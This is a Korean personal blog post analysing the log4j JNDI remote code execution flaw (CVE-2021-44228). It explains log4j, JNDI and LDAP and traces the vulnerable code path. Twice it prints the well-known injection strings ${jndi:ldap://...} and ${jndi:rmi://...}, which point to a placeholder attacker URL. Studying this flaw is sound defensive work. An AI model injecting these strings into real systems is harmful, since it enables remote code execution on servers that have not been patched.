Research

log4j Vulnerability(CVE-2021-44228)

Vardy 2021. 12. 27. 22:23

얼마 전 보안 역사상 손에 꼽히는 취약점이라는 평가를 받기도 한 log4j 취약점(CVE-2021-44228)으로 시끌시끌했었다.

매번 CTF와 Wargame 외에도 개인 연구를 하자고 다짐만(?) 했었는데 늦은감이 있지만 개인적으로 해당 취약점에 대해 공부하며 연구활동을 시작해보려 한다.

 

1. 개요

아래 mitre 페이지의 내용을 기반으로 해당 취약점을 한줄로 정리해보았다.

"Apache Log4j2 2.0-beta9 ~ 2.12.1, 2.13.0 ~ 2.15.0 에서 제공하는 JNDI 기능에서 LDAP을 포함한 기타 JNDI 관련 엔드포인트가 악용되어 RCE 등 악성 행위가 가능한 취약점"

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228 

 

CVE - CVE-2021-44228

Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or

cve.mitre.org

주요 Payload는 아래와 같다. 다양하게 활용되겠지만 user-agent 헤더 등을 통해 활용되는 케이스가 많다고 한다.

${jndi:ldap://공격자URL}
${jndi:rmi://공격자URL}

사실 이보다도 이번 취약점에서 자주 등장하는 키워드인 log4j, JNDI, LDAP 에 대해 명확하게 개념이 잡혀있지 않아 간단하게 정리해보았다.

 

2. 배경 지식

2-1. log4j란?

Log For JAVA. 간단히 설명하면 JAVA기반 로깅 유틸리티이다. 레벨별 설정을 할 수 있으며 properties나 xml파일을 통해 쉽게 커스터마이징 할 수 있는 듯 하다. 아래 정리글이 개인적으로 비교적 최신이면서 깔끔하게 정리된듯 했다.

https://velog.io/@sennys2/JavaLog4j

 

[Java]Log4j 사용해 로그기록하기

📝Log4j란? 프로그램을 작성하는 도중에 로그를 남기기 위해 사용되는 자바 기반 로깅 유틸리티 디버그용 도구로 주로 사용됨 log4j의 최근 버전에 의하면 높은 등급에서 낮은 등급으로의 6개 로

velog.io

 

2-2. JNDI란?

Java Naming and Directory Interface. 즉, java에서 디렉터리 서비스를 효율적으로 사용할 수 있게 하는 라이브러리이다.

각 데이터베이스에 대한 서비스를 디렉토리 형태로 등록할 수 있으며 자원을 효율적으로 관리하는데 도움이 된다고 한다.

 

https://ko.wikipedia.org/wiki/JNDI

 

JNDI - 위키백과, 우리 모두의 백과사전

 

ko.wikipedia.org

https://itworldyo.tistory.com/16

 

JNDI란 무엇인가요?

JNDI는 무엇인가요? 목차  - JNDI란 무엇인가요?  - JNDI 개요  - 기본사용법은 무엇인가요? JNDI란 무엇인가요? JNDI ( Java Naming and Directory Interface )는 Java 프로그래밍 언어를 사용하여 작성된 어..

itworldyo.tistory.com

 

2-3. LDAP이란?

Lightweight Directory Access Protocol. 간단히 디렉터리 서비스 이용에 필요한 프로토콜이라고 이해했다.

https://ko.wikipedia.org/wiki/LDAP

 

LDAP - 위키백과, 우리 모두의 백과사전

경량 디렉터리 액세스 프로토콜(영어: Lightweight Directory Access Protocol; LDAP)은 TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜이다. 디렉터리는 논리, 계급 방식 속에서 조직화된,

ko.wikipedia.org

이를 통합하여 정리해보자.

앞서 언급했듯 일반적으로 알려진 Payload는 아래와 같다.

${jndi:ldap://공격자URL}
${jndi:rmi://공격자URL}

알려진 payload와 앞서 공부한 배경지식으로 미루어보았을 때,

log4j 에서 ${jndi:~~} 형식으로 jndi를 지원하는데, jndi에서 ldap이나 rmi 등을 사용 할 수 있으며 이를 통해 악성 행위를 유도하는 형식일 것이라고 추측 할 수 있다.

실제 이번 취약점의 작동 방식은 아래와 같다.

3. 분석

이제 log4j 취약점이 대략적으로 어떤 흐름을 통해 발생하는지 알았다. 하지만 구체적으로 어떤 포인트에서 취약점 발생하는건지 알아보자.

log4j에서는 org.apache.logging.log4j.core.Logger.log 메소드를 통해 로깅을 수행한다.(2.14.0 기준)

org.apache.logging.log4j.core.Logger.log ->
org.apache.loging.log4j.core.config.DefaultRelianceStrategy.log ->
loggerConfig.log -> ... ->
toSerializable -> format -> converter.format

해당 메소드 안에서 또 다른 메소드를 호출하면서 여러 단계를 타고 들어가다보면 converter.format 메소드가 호출된다.

해당 메소드에 아래 부분을 보면 payload에서 많이 보였던 ${~~ 를 찾아 config.getStrSubstitutor().replace()에 활용된다.

if (config != null && !noLookups) {
            for (int i = offset; i < workingBuilder.length() - 1; i++) {
                if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                    final String value = workingBuilder.substring(offset, workingBuilder.length());
                    workingBuilder.setLength(offset);
                    workingBuilder.append(config.getStrSubstitutor().replace(event, value));
                }
            }
        }

이후 StrSubstitutor.substitue -> resolveVariable -> resolver.lookup 과정을 거쳐 최종적으로 jndi lookup이 수행되어 악성 행위가 가능하게 된다.

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                     final int startPos, final int endPos) {
        final StrLookup resolver = getVariableResolver();
        if (resolver == null) {
            return null;
        }
        return resolver.lookup(event, variableName);
    }

보다 자세한 분석을 원하시는 분들께 평소 공부하면서 많은 도움 주시는 as3617님의 글을 소개하며 CVE-2021-44228 연구를 마무리 하도록 하겠다.

https://blog.ssrf.kr/m/70

 

Log4j2 vulnerability analysis

이번 주말동안 log4j2에서 발견된 취약점으로 인해 난리가 났었다. https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3#diff-271353c1076e53f6893261e4420de27d34588bfd7..

blog.ssrf.kr

 

반응형